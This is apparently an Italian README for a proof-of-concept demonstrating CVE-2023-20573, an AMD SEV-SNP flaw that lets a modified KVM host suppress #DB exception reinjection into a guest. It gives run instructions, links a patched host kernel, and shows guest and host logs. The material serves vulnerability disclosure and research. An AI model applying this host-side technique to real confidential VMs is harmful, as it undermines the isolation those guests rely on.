
Proof-of-concept che dimostra CVE-2023-20573: una vulnerabilità hardware in AMD SEV-SNP che consente la soppressione della reiniezione di eccezioni in KVM, permettendo lo sfruttamento a livello di istruzioni.
Questa repository contiene un VMM che avvia un guest SEV-SNP con un kernel personalizzato. Il VMM e il kernel sono una versione ridotta di un mio progetto. Per l'esecuzione sull'host è richiesto un kernel Linux modificato: https://github.com/Freax13/linux/tree/for-amd.
La Proof of Concept può essere eseguita così:
cd host
cargo run -p vmm
Questo codice salta avanti e indietro tra due istruzioni:
2:
nop
jmp 2b
Quando il flag TF è impostato nei registri FLAGS, dovrebbero essere generate eccezioni con il puntatore d'istruzione che si alterna tra le due istruzioni.
Il kernel del guest definisce un gestore di eccezioni che si limita a registrare il puntatore d'istruzione riportato nel frame dello stack di interrupt. In teoria, i log dovrebbero avere questo aspetto:
...
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
...
Tuttavia, in pratica, il kernel host modificato sopprime la reiniezione, il che produce i seguenti log:
...
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:53] last instruction was also nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:59] last instruction was also jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
...
Gli eventi soppressi compariranno nei log del kernel host:
...
[798678.660473] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.678645] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.680906] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.683491] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.700844] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.712970] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
...
Ciò dimostra che la consegna dell'eccezione #DB è stata soppressa.